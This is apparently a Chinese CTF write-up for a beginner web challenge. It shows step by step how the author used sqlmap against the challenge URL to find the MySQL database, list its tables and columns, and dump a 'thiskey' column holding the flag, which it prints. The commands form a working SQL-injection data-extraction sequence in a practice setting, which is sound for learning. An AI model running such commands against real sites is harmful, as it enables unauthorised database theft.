您的位置:首页 > 其它

Tamevic’s Ctf-Web writeup@实验吧‘这个看起来有点简单!’

2019-03-05 20:11 495 查看

Tamevic’s Ctf-Web writeup@实验吧‘这个看起来有点简单!’

还是在实验吧里挑一道简单一点的题目做一做

url: http://www.shiyanbar.com/ctf/33 emmm…这个看起来有点简单!

分析

点开题目其实有点懵,感觉不知道从何下手,尤其是它内容说id in xxxx.php 其实本来是想直接关掉的(不会php…((/- -)/)但是看到有个表格,url中间还有 id=1 妥了,应该是道sql注入,趁机学习一下sqlmap的用法


-安装 sqlmap
macOS下安装sqlmap应该会比较简单,先去看了看大神们怎么装sqlmap怎么配置bulabula,然后自己试了试,发现在中间总是会死掉还是看不懂的error。索性直接

pip install sqlmap

Bingo!安装完毕==直接开始使用

-先用sqlmap看看是什么数据库和当前数据库名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' - -current-db


是MySQL数据库,当前的数据库名叫 ‘my_db’

-再查看表名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db - -tables


现在有两个表,一个叫news,一个叫thiskey,这已经很明显了,分明是勾引我去看看这个key
-查看列名

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey - - columns


不能再友好了,只有一列,叫k0y

-查看dump数据

sqlmap -u  'http://ctf5.shiyanbar.com/8/index.php?id=1' -D my_db -T thiskey -C k0y - -dump

结果

flag 就是

whatiMyD91dump

提交就OK了(这个flag是一个字母一个字母跳出来的…还是比较喜感)

End

sql注入其实还是晕晕的==

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: